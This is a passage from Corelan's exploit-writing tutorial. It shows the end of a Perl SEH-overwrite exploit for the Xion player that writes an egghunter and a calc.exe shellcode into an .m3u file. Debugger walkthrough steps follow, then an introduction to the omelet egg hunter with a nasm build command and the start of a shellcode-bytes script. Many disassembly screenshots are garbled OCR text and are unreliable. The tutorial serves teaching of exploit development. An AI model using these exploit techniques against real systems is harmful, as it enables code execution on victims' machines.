my \$payload = \$junk.\$nseh.\$seh.\$align.\$jump.\$padding.\$egghunter; \$payload=\$payload.\$garbage."0t0t".\$align2.\$shellcode.\$filler;

open(myfile,">\$sploitfile"); print myfile \$payload; print "Wrote " . length(\$payload)." bytes to \$sploitfile\n"; close(myfile);

Command Prompt C:\sploits\xion>perl corela Hrote 16597 bytes to corela	n_xionsploit.pl nsploit.m3u					_ O X						
C:\sploits\wion>	Edit View									1	×	
	C Hex	• De	x () (Dat C	Bin	O Degree	es (C Radi	ans	C Grad	1:	
	□ Inv	Γ	Нур				Backsp	sce	CE		C	
	Sta	F-E	(1	MC	7	8	9	1	Mod	And	
	Ave	dms	Ехр	ln.	MR	4	5	6		Or	Xor	
	Sum	sin	ху	log	MS	1	2	3		Lth	Not	
	5	cos	x*3	d	M+	0	+/-		+	•	Int	
	Dist	tan	x^2	1/x	pi	A	В	С	D	Ε	F	

pwned !

Note : if size is really an issue (for the final shellcode), you could make the alignment code a number of bytes shorter by using what is in edi already (instead of using eax as basereg. Of course you then need to generate the shellcode using edi as basereg), and by avoiding the push + ret instructions. You could simply make edi point to the address directly after the last alignment instruction with some simple instructions.

Another example of unicode (or venetian) egghunter code can be found here :http://www.pornosecurity.org/blog/exploiting-bittorrent (demo at http://www.pornosecurity.org/bittorrent/bittorrent.html)

Some tips to debug this kind of exploits using Immunity Debugger :

This is a SEH based exploit, so when the app crashed, see where the SEH chain is and set a breakpoint at the chain. Pass the exception (Shift F9) to the application and the breakpoint will be hit. On my system, the seh chain was located at 0×0012f2ac

0125294 0125295 0125296 0125290	41 0041 00 41	ALC BYTE FIN CONSELATION. ACC BYTE FIN CONSELATION. ENC BCX ENC BCX				
	0048-00	CO BYTE PTR DELERKS.CL	00120500			
0125200	0040 00	BYTE PTR DELERG.CL				
1688	စိုင်ခေ စစ	BYTE PTR SSI (EEP), CH				
1237	0060 00 05 00100011	THE PTR SSICEPT.CH				
tack (0)	1224003:00122500	FC0 ERC 11001000		1		
	N12844003=00128500	000.0000.000.000.000.000.000.000	Commen . [8013		•	
	Hex dunp	00120500) D(sassenbly 017, 71 017, 115	Conven a 801		Paks	Ę
	1254003=00125500	000.0000.000.000.000.000.000.000	Conven a 001		a, Pair 21 SE P	
	1254003=00125500	Contraction of the second of t	Connen a 0011		e. Pair el SE r e. NT RETL	
	1254003=00125500	000 0000000000000000000000000000000000	Cornes a 0015		Pair Pair Pair Pair Pair Pair Pair Pair	
	1254003=00125500	000 000 <td>001 001 001 001 001 001 001</td> <td></td> <td>Poly Poly Poly Poly Poly Poly Poly Poly</td> <td></td>	001 001 001 001 001 001 001		Poly Poly Poly Poly Poly Poly Poly Poly	
	Hest dampool 25500 0000 007 71 007 0 0070 0	Classerblap Carlot Control Carlot Cont	001 001 001 001 001 001 001		a, a, b, Pair di SE * a, a, b, Nior a, b, Nior	

Trace through the instructions (F7) until you see that the decoder starts decoding the egghunter and writing the original instructions on the stack.

3



Then press CTRL+F12. Breakpoint would be hit and you would land at 0×0012f460. The original egghunter is now recombined and will start searching for the marker.

Weit 2=455 ## Him, ELW Weit 2=455 ##	0012F45E ^75 E2 66:81CA 0000	UNE SHORT 0012F442	FCW 027F Prec NEAR,53 Mask 1 1 1
0012F47C ^75 E7 JHC SHORT 0012F465 0012F47C FFF27 JHC SHORT 0012F465 0012F488 68 0032004A 0012F488 508 00 0012F488 508 0012F492 4E 0012F492 4F 0012F492 4F 0012F492 4F 0012F492 4F 0012F492 4F <t< th=""><th>0012F469 58 0012F46A CD 2E 0012F46C 3C 05 0012F46E 5A 0012F46F 5A 0012F471 B8 00300074</th><th>PUSH 2 POP ERX INT 2E CHP AL,5 POP EOX SHORT 0012F460 MOU ERX,74003000 MOU EDI,EDX</th><th>searches through memory, looking for the marker (74</th></t<>	0012F469 58 0012F46A CD 2E 0012F46C 3C 05 0012F46E 5A 0012F46F 5A 0012F471 B8 00300074	PUSH 2 POP ERX INT 2E CHP AL,5 POP EOX SHORT 0012F460 MOU ERX,74003000 MOU EDI,EDX	searches through memory, looking for the marker (74
Address Hex dump Disassenbly Commen 0012E488 0012E488 623 004D8002 48 DEC EBX 004D8002 48 DEC EBX 0012E492 0012E492 0012E492 0012E492 0012E492 0012E494 70932BC 0212E494 70932BC 0212E494 70932BC 0212E494 70932BC 0212E494 0212E494 70932BC 0212E494 0212E494 70932BC 0212E494 0212E494 70932BC 0212E494 0212E494 0212E494 70932BC 0212E496 0212E494 0212E494 0212E494 0212E446 0212E544 0212E544 0212E544 0212E548 0212E588 0212E588 0212E588 0212E484 0212E588 0212E588 0212E588 0212E588 0212E588 0212E588 0212E588 0212E484 0212E484 0212E488 0212E488 0212E588 0212E588 021	0012F490 68 0032004A 0012F485 0040 00 0012F488 3200 0012F488 50 0012F488 0058 00 0012F48E 58 0012F48E 58 0012F48E 0040 00 0012F492 4E 0012F493 4E 0012F493 4F	JHP SHORT 0012F465 JHP EDI PUSH 44003200 ADD BYTE PTR DS:[EBP],CL XOR AL,BYTE PTR DS:[EAX] PUSH EAX ADD BYTE PTR DS:[EAX],BL POP EAX ADD BYTE PTR DS:[EBP],CL DEC ESI ADD BYTE PTR DS:[ESI],CL DEC EDI	has been found !
00400009 000122400 001224000 001224000 001224000 001224000 001224000 001224000 001224000 001224000 001224000 001224000 001224000 001224000	0012F49B 0055 00 Address Hex dump 004D0002 48	Disassembly OR AL 71 DEC ESX	Corven
•	004D3007 00E0 004D3009 v70 48 004D3008 00D4 004D300E 00D4 004D300E v70 48	JO SHORT Xion.004D8052 ADD AL.AH JO SHORT Xion.004D8056 ADD AH.DL JO SHORT Xion.004D805A	0012E49C 70012E54C Los 0012E440 7C90327A 221 0012E444 0012E564 dos 0012E448 0012E564 dos 0012E448 0012E28C %≥s 0012E440 0012E580 ¢os
[23:57:08]Breakpoint at 0012F460	bp 0012f478		
	[23:57:08]Breakpoint at 0012F4	60	

Peter Van Eeckhoutte& #039;s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

01/03/2010 - 27 / 39

At $0 \times 0012f47b$ (see screenshot), we see the instruction that will be executed when the egg has been found. Set a new breakpoint on $0 \times 0012f47b$ and press CTRL-F12 again. If you end up at the breakpoint, then the egg has been found. Press F7 (trace) again to execute the next instructions until the jmp to edi is made. (the egghunter has put the address of the egg at EDI, and jmp edi now redirects flow to that location). When the jmp edi is made, we end at the last byte of the marker. This is where our second alignent code is placed. It will make eax point to the shellcode (decoder stub) and will then perform the push eax + ret

C0125552 0060 000 PUD EVIE PTR SS:(EBP),CH 00125555 0060 000 PVD EVIE PTR SS:(EBP),CH 00125555 00650 000 PVD EVIE PTR SS:(EBP),CH 00125555 0050 000 PVD EVIE PTR SS:(EBP),CH 00125555 0050 000 PVD EVIE PTR SS:(EBP),CH 00125557 0059 000 PVD EVIE PTR SS:(EBP),CH 00125557 0059 000 PVD EVIE PTR SS:(EBP),CH 00125557 0059 000 PVD EVIE PTR SS:(ECC),CL 00125577 0059 000 PVD EVIE PTR DS:(ECX),CL 00125577 0059 000 PVD EVIE PTR DS:(ECX),CL 00125557 0059 000 PVD EVIE PTR DS:(ECX),CL 00125559 00540 000 PVTE PTR DS:(ECX),CL 00125559 00540 HULL PVD EVIE PTR DS:(ECX),CL 001255590 005400 HULL					
Gel 2F557 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F553 Gel 00 FOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (EBP), CH Gel 2F554 Gel 00 GOO BYTE PTR SSI (ECX), GL Gel 2F554 Gel 00 GOO BYTE PTR DSI (ECX), GL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), GL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F557 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F5567 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F5567 Gel 00 GOO BYTE PTR DSI (ECX), CL Gel 2F5567 Gel 00 GOO BYTE PTR DSI (ECX	0012F553	006D 00	ROD BYTE PTR SSILEBPL.CH	Lo i comu	
Gel 2F556 Gel 2F557 Gel 2F5577 Gel 2F557 Gel 2F5577 Gel 2F5577 Gel 2F5577 Gel 2F5577 Gel 2F5577 Gel 2F5577 Gel 2F577 Gel 2F5777 Gel 2F57777 Gel 2F5777	0012F556	57	PUSH EDI	alignment code from	
0012F555 001E000041 MOU ECX, 000001000 0012F565 00650 000 RUO BYTE PTR SSI(EBP), CH 0012F565 00650 00 RUO BYTE PTR SSI(EBP), CH 0012F565 00650 00 RUO BYTE PTR SSI(EBP), CH 0012F5657 0050 000 RUO BYTE PTR SSI(EBP), CH 0012F5657 0050 000 RUO BYTE PTR DSI(ECX), BL 0012F557 00490 RUO BYTE PTR DSI(ECX), CL 0012F577 00490 RUO BYTE PTR DSI(ECX), CL 0012F577 00490 RUO BYTE PTR DSI(ECX), CL 0012F574 41 INC ECX 0012F574 41 INC ECX 0012F574 00490 RUO BYTE PTR DSI(ECX), CL 0012F574 004400 RUO BYTE PTR DSI(ECX), CL 0012F574 004400 RUO BYTE PTR DSI(ECX), CL <td>0012F557</td> <td>6660 66</td> <td>BOD EVIL PIR SSILEBPJ H</td> <td></td> <td></td>	0012F557	6660 66	BOD EVIL PIR SSILEBPJ H		
0012F555 001E000041 MOU ECX, 000001000 0012F565 00650 000 RUO BYTE PTR SSI(EBP), CH 0012F565 00650 00 RUO BYTE PTR SSI(EBP), CH 0012F565 00650 00 RUO BYTE PTR SSI(EBP), CH 0012F5657 0050 000 RUO BYTE PTR SSI(EBP), CH 0012F5657 0050 000 RUO BYTE PTR DSI(ECX), BL 0012F557 00490 RUO BYTE PTR DSI(ECX), CL 0012F577 00490 RUO BYTE PTR DSI(ECX), CL 0012F577 00490 RUO BYTE PTR DSI(ECX), CL 0012F574 41 INC ECX 0012F574 41 INC ECX 0012F574 00490 RUO BYTE PTR DSI(ECX), CL 0012F574 004400 RUO BYTE PTR DSI(ECX), CL 0012F574 004400 RUO BYTE PTR DSI(ECX), CL <td>0012F558</td> <td></td> <td>OD BYTE PTR SSITERP1 CH</td> <td>Salign2</td> <td></td>	0012F558		OD BYTE PTR SSITERP1 CH	Salign2	
00127563 0060 000 BYTE PTR SSI(EBP),CH 00127565 0060 000 BYTE PTR DSI(ECX), BL 00127577 0059 00 BYTE PTR DSI(ECX), CL 00127577 0049 00 BYTE PTR DSI(ECX), CL 00127577 0049 00 BYTE PTR DSI(ECX), CL 00127557 0049 00 BYTE PTR DSI(ECX), DL 001275580 0051 000 BYTE PTR DSI(ECX), DL 001275580 00540 00 BYTE PTR DSI(ECX), DL 001275580 00550 00 BYTE PTR DSI(ECX), DL 001275580 00560 00 BYTE PTR DSI(ECX), DL	0012F55E	B9 001600AA	HOV ECX. AA881888		
00127558 50 PUSH ERX 00127556 0050 000 PUSH ERX 00127557 0050 000 PUSH ERX 00127557 0059 000 PUSH ERX 00127577 0010 PUSH ERX 00127577 00149 000 PUSH EPTR DSILECKJ, CL 00127578 0019 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127578 0019 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127580 0019 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127580 0059 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127580 0059 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127580 0059 PUSH EPTR DSILECKJ, CL PUSH EPTR DSILECKJ, CL 00127580 0059	0012F563	00ES	ROD AL.CH	makes eax point to	
00127550 0050 001	0012F565	<u>66</u> 60 66	ROD BYTE PTR SSICEBP1, CH	shellcode and performs	
0012756C C3 PETH 0012756C C3 PETH 0012756C C3 PETH 00127570 S0 PUSH EAX 00127571 0659 060 Q0 00127572 0659 060 Q0 PYTE PTR DS: LECXJ, CL 00127572 41 ThC ECX PTR DS: LECXJ, CL 00127572 41 ThC ECX PTR DS: LECXJ, CL 00127572 41 ThC ECX PTR DS: LECXJ, CL 00127572 0649 00 OPTE PTR DS: LECXJ, CL 00127572 0649 00 OPTE PTR DS: LECXJ, CL 00127573 0659 0050 OPTE PTR DS: LECXJ, DL 00127573 0659 000 OPTE PTR DS: LECXJ, DL 00127573 0659 000 OPTE PTR DS: LECXJ, DL 00127574 0059 000 OPTE PTR DS: LECXJ, DL 00127574 <t< td=""><td>0012F568 0012EE49</td><td>50 0040 00</td><td>PUSH EHX</td><td>silelicode and performs</td><td></td></t<>	0012F568 0012EE49	50 0040 00	PUSH EHX	silelicode and performs	
0012F573 50 PUSH ERK PUSH ERK 0012F574 4059 00 BYDE PTR DS:(ECX), BL 0012F574 41 CC CX F 0012F574 41 CC BYDE PTR DS:(ECX), CL 0012F574 41 CC BYDE PTR DS:(ECX), CL 0012F574 0049 00 GYDE PTR DS:(ECX), CL 0012F574 0058 00 GYDE BYTE DS:(ECX), DL 0012F584 11 CD BYTE PTR DS:(ECX), DL Decoder will recombine 0012F584	0012F56C	C3	RETN		
00127571 0059 000	00121000	0050 00	NOT FAILE FUR SOUTHERN THE	C 0 ES 0022 3251+ 0/FEEF	
0013F574 41 000 PTR DS:(ECX),CL 0013F573 41 000 PTR DS:(ECX),CL 0013F574 41 000 PTR DS:(ECX),DL 0013F574 4058 400 PTR DS:(ECX),DL 0013F574 40569 40 41 000 0013F574 40569 41 TC ECX PTR DS:(ECX),DL 0013F574 41 TC ECX PTR DS:(ECX),DL PC EX 0013F574 41 TC ECX PTR DS:(ECX),DL PC EX 0013F574 41 TC E	0012F570		PUSH EAX	P 1 CS 001B 32bit 0(FFFF	
0012F573 41 THC ECX 0012F574 6049 00 FYR DS: LECXJ, CL 0012F584 605100 FYR DS: LECXJ, CL 0012F584 10 FYR DS: LECXJ, DL 0012F584 11 FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 0055 00 00 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 0054 00 FYR DS: LECXJ, DL FYR DS: LECXJ, BL 0012F584 0054 00 FYR DS: LECXJ, DL FYR DS: LECXJ	0012F571	0059 00	HOD BYTE PTR USICECX1, BL	A 0 SS 0023 3251t 0(FFFF	
0012F573 41 THC ECX 0012F574 6049 00 FYR DS: LECXJ, CL 0012F584 605100 FYR DS: LECXJ, CL 0012F584 10 FYR DS: LECXJ, DL 0012F584 11 FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 000 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 0055 00 00 FYTE PTR DS: LECXJ, DL FYR DS: LECXJ, DL 0012F584 0054 00 FYR DS: LECXJ, DL FYR DS: LECXJ, BL 0012F584 0054 00 FYR DS: LECXJ, DL FYR DS: LECXJ	0012F575	0049 00	OD BYTE PTR DS+FECX1 (1	Z 1 DS 0023 3251t 0(FFFF	
0012F570 41 000 BYTE PTR DS: LECX], CL 0012F580 41 000 BYTE PTR DS: LECX], BL 0012F580 41 000 BYTE PTR DS: LECX], DL 0012F591 00590 00 COD BYTE PTR DS: LECX], DL Decoder will recombine 0012F594 41 Thc ECX PTR DS: LECX], DL Decoder will recombine 0012F594 41 Thc ECX PTR DS: LECX], DL Decoder will recombine 0012F594 40651 00 BYTE PTR DS: LECX], DL Decoder will recombine 0012F594 40651	0012F578	41	INC ECX	S 0 FS 0038 3251t 7FFDF0	
0012F580 41 The ECX FTR DS:(ECX), CL 0012F581 4049 00 OPTE PTR DS:(ECX), CL This is the begin of the real (venetian) shellcode 0012F580 41 The ECX PTR DS:(ECX), CL This is the begin of the real (venetian) shellcode 0012F580 41 The ECX PTR DS:(ECX), BL The ECX 0012F580 41 The ECX PTR DS:(ECX), BL Decoder will recombine 0012F590 41 The ECX PTR DS:(ECX), BL Decoder will recombine 0012F591 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 4051 Decoder will recombine PWNED ! PWNED ! 0012F595 41 The ECX PWNED ! PWNED ! 0012F596 41 <	0012F579	0849 08	ROD BYTE PTR DS:[ECX],CL		-
0012F580 41 The ECX FTR DS:(ECX), CL 0012F581 4049 00 OPTE PTR DS:(ECX), CL This is the begin of the real (venetian) shellcode 0012F580 41 The ECX PTR DS:(ECX), CL This is the begin of the real (venetian) shellcode 0012F580 41 The ECX PTR DS:(ECX), BL The ECX 0012F580 41 The ECX PTR DS:(ECX), BL Decoder will recombine 0012F590 41 The ECX PTR DS:(ECX), BL Decoder will recombine 0012F591 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 41 The ECX PTR DS:(ECX), DL Decoder will recombine 0012F595 4051 Decoder will recombine PWNED ! PWNED ! 0012F595 41 The ECX PWNED ! PWNED ! 0012F596 41 <	0012F57C	41	INC ECX		
0012F561 0049 000	0012F57D		SOD BYTE PTR DSILECX1.CL		_
0012F584 41 The Ecx The Ecx This is the begin of the real (venetian) shellcode 0012F585 41 The Ecx PTR Ds: (Ecx), DL This is the begin of the real (venetian) shellcode 0012F585 41 The Ecx PTR Ds: (Ecx), BL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), BL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL Decoder will recombine 0012F595 41 The Ecx PTR Ds: (Ecx), DL PWNED ! 0012F595 41 The Ecx PWNED ! PWNED ! 0012F596 41 The Ecx PTR Ds: (Ecx), DL PWNED ! 0012F5964	0012F580	6649 66	STO BYTE PTR DS(TECX1,C)		
0012F588 41 ThC ECX real (venetian) shellcode 10 0012F589 005400 41 000 BYTE PTR DS: (ERX), BL Decoder will recombine 0012F591 0059 00 000 BYTE PTR DS: (ERX), BL Decoder will recombine 10 0012F593 0059 00 A00 BYTE PTR DS: (ERX), BL Decoder will recombine 10 0012F594 41 ThC ECX PTR DS: (ERX), DL Decoder will recombine 10 0012F594 41 ThC ECX PTR DS: (ERX), DL Decoder will recombine 10 0012F595 0051 00 000 BYTE PTR DS: (ERX), DL Decoder will recombine 10 0012F594 41 ThC ECX PTR DS: (ERX), DL PWNED ! 0012F594 004400 41 DO BYTE PTR DS: (EEX), BL PWNED ! 0012F594 004400 41 DO BYTE PTR DS: (EEX), BL PWNED ! 0012F594 0044200 410 DC ECX PWNED ! 0012F594 41 ThC ECX PWNED ! 0012F594 0044200 ADD BYTE PTR DS: (EEX), AL PWNED ! 0012F5940	0012F584	41	INC ECX	This is the bagin of the	
add 255680 adds 2672 pTR DS: (EAX.), BL Decoder will recombine add 0012F5591 adds 40 adds EYRE PTR DS: (EDX.), BL the original code and add 0012F5591 adds 00 BYRE PTR DS: (EAX.), 0L the original code and add 0012F5591 adds 00 BYRE PTR DS: (EAX.), 0L execute it (calc.exe) E 0012F5592 adds adds BYRE PTR DS: (EBX.), 0L execute it (calc.exe) E 0012F5593 adds adds BYRE PTR DS: (EBX.), 0L PWNED ! 0012F5595 adds 41 BYRE PTR DS: (EBX.), 0L PWNED ! 0012F543 adds 44aa 41 BYRE PTR DS: (EBX.), 0L PWNED ! 0012F544 adds 41 BYRE PTR DS: (EDX.), 0L PWNED ! 0012F544 adds 41 BYRE BYRE PTR DS: (EDX.), 0L 0012F546 41 Iffic ECX. BYRE PTR BS: (EDX.), 0L 0012F5464 41 BYRE BYRE BYR	0012F585	0051 00	ROD BYTE PTR DS: (ECX), DL	This is the begin of the	
add 255680 adds 2672 pTE pTE <td>0012F588</td> <td>41</td> <td>INC ECX</td> <td>real (venetian) shellcode</td> <td></td>	0012F588	41	INC ECX	real (venetian) shellcode	
0012F550 41 11cc ECX Decoder with recombine 30 0012F551 4058 40 00 BYTE PTR Ds: (EDX), BL the original code and 30 0012F554 41 11cc ECX execute it (calc.exe) En 0012F554 41 11cc ECX execute it (calc.exe) En 0012F556 41 11cc ECX PWNED ! PWNED ! 0012F566 41 11cc ECX execute it (calc.exe) En 0012F567 41 11cc ECX execute it (calc.exe) En 0012F568 41 <td< td=""><td>0012F589</td><td>005400 41</td><td>NOD BYTE PTR DSILENX+ERX+413.DL</td><td></td><td></td></td<>	0012F589	005400 41	NOD BYTE PTR DSILENX+ERX+413.DL		
0012F594 41 INC ECX Intervention 0012F595 0050 000 pXPE PTR Ds: (ERX).0L execute it (calc.exe) 0012F595 41 INC ECX execute it (calc.exe) End 0012F596 0051 00 000 PYTE PTR Ds: (ERX).0L execute it (calc.exe) End 0012F596 0051 00 000 BYTE PTR Ds: (ERX+ERX+41).AL PWNED ! PWNED ! 0012F596 004400 41 ADD BYTE PTR Ds: (ERX+ERX+41).AL PWNED ! PWNED ! 0012F596 41 INC ECX PTR Ds: (EDX).0L PWNED ! 0012F596 41 INC ECX PTR Ds: (EDX).0L PWNED !	0012F590	41	INC FCX	Decoder will recombine	
0012F594 41 INC ECX Intervention 0012F595 0050 000 pXPE PTR Ds: (ERX).0L execute it (calc.exe) 0012F595 41 INC ECX execute it (calc.exe) End 0012F596 0051 00 000 PYTE PTR Ds: (ERX).0L execute it (calc.exe) End 0012F596 0051 00 000 BYTE PTR Ds: (ERX+ERX+41).AL PWNED ! PWNED ! 0012F596 004400 41 ADD BYTE PTR Ds: (ERX+ERX+41).AL PWNED ! PWNED ! 0012F596 41 INC ECX PTR Ds: (EDX).0L PWNED ! 0012F596 41 INC ECX PTR Ds: (EDX).0L PWNED !	0012F591	005A 00	ROD BYTE PTR DS: (EDX) BL	the original code and	
0012F598 41 INC ECX EXECUTE IT (Calc.exe) Inc ecx 0012F599 0033 ADD BYTE PTR DS:(EBX).DH EXECUTE IT (Calc.exe) Inc 0012F598 0051 00 ADD BYTE PTR DS:(EEX).DL PWNED ! PWNED ! 0012F597 004400 41 ADD BYTE PTR DS:(EEX).BL PWNED ! PWNED ! 0012F564 41 INC ECX ADD BYTE PTR DS:(EEX).AL PWNED ! 0012F564 41 INC ECX ADD BYTE PTR DS:(EEX).AL PWNED ! 0012F564 41 INC ECX ADD BYTE PTR DS:(EEX).AL PWNED ! 0012F564 41 INC ECX ADD BYTE PTR DS:(EEX).AL ADD BYTE PTR DS:(EEX).AL 0012F568 41 INC ECX ADD BYTE PTR DS:(EEX).AL ADD BYTE PTR DS:(EEX).AL 0012F568 41 INC ECX ADD BYTE PTR DS:(EEX).DL ADD BYTE PTR DS:(EEX).AL	0012F594	41	INC ECX		
0012F559 0003 ADD BYTE PTR DS:[EBX3,DH 0012F559 0005100 ADD BYTE PTR DS:[EEX3,DH 0012F559 0005100 ADD BYTE PTR DS:[EEX3,DL 0012F559 004400 41 DDD BYTE PTR DS:[EEX4+EAX+41],AL PWNED ! 0012F564 000 BYTE PTR DS:[EEX3,BL PWNED ! 0012F564 0012F564 1 INC ECX 0012F564 H INC ECX 0012F564 41 INC ECX 0012F564 H INC ECX 0012F564 41 INC ECX 0012F564 H INC ECX 0012F564 41 INC ECX INC ECX INC ECX	0012F595	0050 00	ROD BYTE PTR DS: (EAX) DL	execute it (calc exe)	
0012F598 0051 00 POD BYTE PTR DS:[ECKJ.DL PWNED ! 0012F595 0044400 41 POD BYTE PTR DS:[ECKJ.BL PWNED ! 0012F597 004400 41 POD BYTE PTR DS:[ECKJ.BL PWNED ! 0012F596 0054 00 POD BYTE PTR DS:[ECKJ.BL PWNED ! 0012F5964 41 IffC ECX 00 0012F5964 41 IffC ECX 00 0012F5964 41 IffC ECX 00 0012F5968 0052 00 POD BYTE PTR DS:[EDX].AL 00 0012F5968 0052 00 POD BYTE PTR DS:[EDX].OL 00	00125598	91	DUTE DTD DOLTEDV1 DU	and data in (data.and)	
0012F59E 41 THC ECX PWNED ! 0012F59E 004400 41 ADD BYTE PTR DS: (ERX+ERX+41), AL PWNED ! 0012F5A3 005A 00 ADD BYTE PTR DS: (ERX+ERX+41), AL PWNED ! 0012F5A7 00424 00 ADD BYTE PTR DS: (ECX), BL 0012F5A8 0012F5A8 00582 00 ADD BYTE PTR DS: (ECX), AL 0012F5A8 0012F5A8 0052 00 ADD BYTE PTR DS: (ECX), AL 0012F5A8 0012F5A8 0052 00 ADD BYTE PTR DS: (ECX), DL 0012F5A8	8812F598	0055 00	OD BYTE PTR DS (ECX) DL		
Object Object<	0012F59E	41	INC ECX	DWNED I	
0012FSA6 41 INC ECX 0012FSA7 0042 00 POD BYTE PTR DS:(EDX),AL 0012FSA8 41 INC ECX 0012FSA8 0052 00 POTE PTR DS:(EDX),DL 0012FSA8 0052 00 PTE PTR DS:(EDX),DL	0012F59F		ROD BYTE PTR DS:[EAX+ERX+41], RL	FWINED !	
0012F5A7 0042 00 ADD BYTE PTR DS:(EDX),AL 0012F5A8 41 INC ECX 0012F5A8 0052 00 ADD BYTE PTR DS:(EDX),DL 0012F5A8 0052 00 INC ECX	0012F5R3		ROD BYTE PTR DS: (EDX) BL		
0012FSAR 41 INC ECX 0012FSA8 0052 00 ROD BYTE PTR DS:(EDX),DL 0012FSA8 41 INC ECX	0012F5H5		OCO BYTE PTR DS. (EDV) OL		
0012FSAE 41 INC ECX	0012F5AA	41	INC ECX		
0012FSAE 41 INC ECX 0012FSAF 004C00 41 R00 BYTE PTR DS:(EAX+EAX+41),CL	0012FSAB	0052 00	ROD BYTE PTR DS: (EDX), DL		
U012PSHP U04C00 41 HOU BYTE PTR US:LEHX+EHX+413.CL	0012FSAE	41	INC ECX		
	0012FSRF	004000 41	HOU BYTE PTR USITERX+ERX+411,CL		

Omelet egg hunter (All your eggs, even the broken ones, are belong to us !)

Huh ? Broken eggs ? What you say ?

What if you find yourself in a situation where you don't really have a big amount of memory space to host your shellcode, but you have multiple smaller spaces available / controlled by you? In this scenario, dictated by shellcode fragmentation a technique called omelet egg hunting may work.

In this technique, you would break up the actual shellcode in smaller pieces, deliver the pieces to memory, and launch the hunter code which would search all eggs, recombine then, and make an omelet ... err ... I mean it would execute the recombined shellcode.

The basic concept behind omelet egg hunter is pretty much the same as with regular egg hunters, but there are 2 main differences :

- the final shellcode is broken down in pieces (= multiple eggs)

- the final shellcode is recombined before it is executed (so it's not executed directly after it has been found)

In addition to that, the egghunter code (or omelet code) is significantly larger than a normal egghunter (around 90 bytes vs between 30 and 60 bytes for a normal egghunter)

This technique was documented by skylined (Berend-Jan Wever) here (Google Project files can be found here.) Quote from Berend-Jan :

It is similar to egg-hunt shellcode, but will search user-land address space for multiple smaller eggs and recombine them into one larger block of shellcode and execute it. This is useful in situation where you cannot inject a block of sufficient size into a target process to store your shellcode in one piece, but you can inject multiple smaller blocks and execute one of them.

How does it work?

The original shellcode needs to be split in smaller pieces/eggs. Each egg needs to have a header that contains

- the length of the egg

- an index number

c) Peter Van Eeckhoutte

- 3 marker bytes (use to detect the egg)

The omelet shellcode/egg hunter also needs to know what the size of the eggs is, how many eggs there will be, and what the 3 bytes are (tag or marker) that identifies an egg.

When the omelet code executes, it will search through memory, look for all the eggs, and reproduces the original shellcode (before it was broken into pieces) at the bottom of the stack. When it has completed, it jumps to the reproduced shellcode and executes it. The omelet code written by skylined injects custom SEH handlers in order to deal with access violations when reading memory.

Luckily, skylined wrote a set of scripts to automate the entire process of breaking down shellcode in smaller eggs and produce the omelet code. Download the scripts here. (The zip file contains the nasm file that contains the omelet hunter and a python script to create the eggs). If you don't have a copy of nasm, you can get a copy here.

I have unzipped the omelet code package to c:\omelet. nasm is installed under "c:\program files\nasm". Compile the nasm file to a binary file :

C:\omelet>"c:\program files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_SEH_omelet.asm -w+error

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

(you only need to do this one time. Once you have this file, you can use it for all exploits)

How to implement the omelet egg hunter ?

1. Create a file that contains the shellcode that you want to execute in the end. (I used "shellcode.bin")

(You can use a script like this to generate the shellcode.bin file. Simply replace the \$shellcode with your own shellcode and run the script. In my example, this shellcode will spawn calc.exe):

my \$scfile="shellcode.bin"; my \$shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
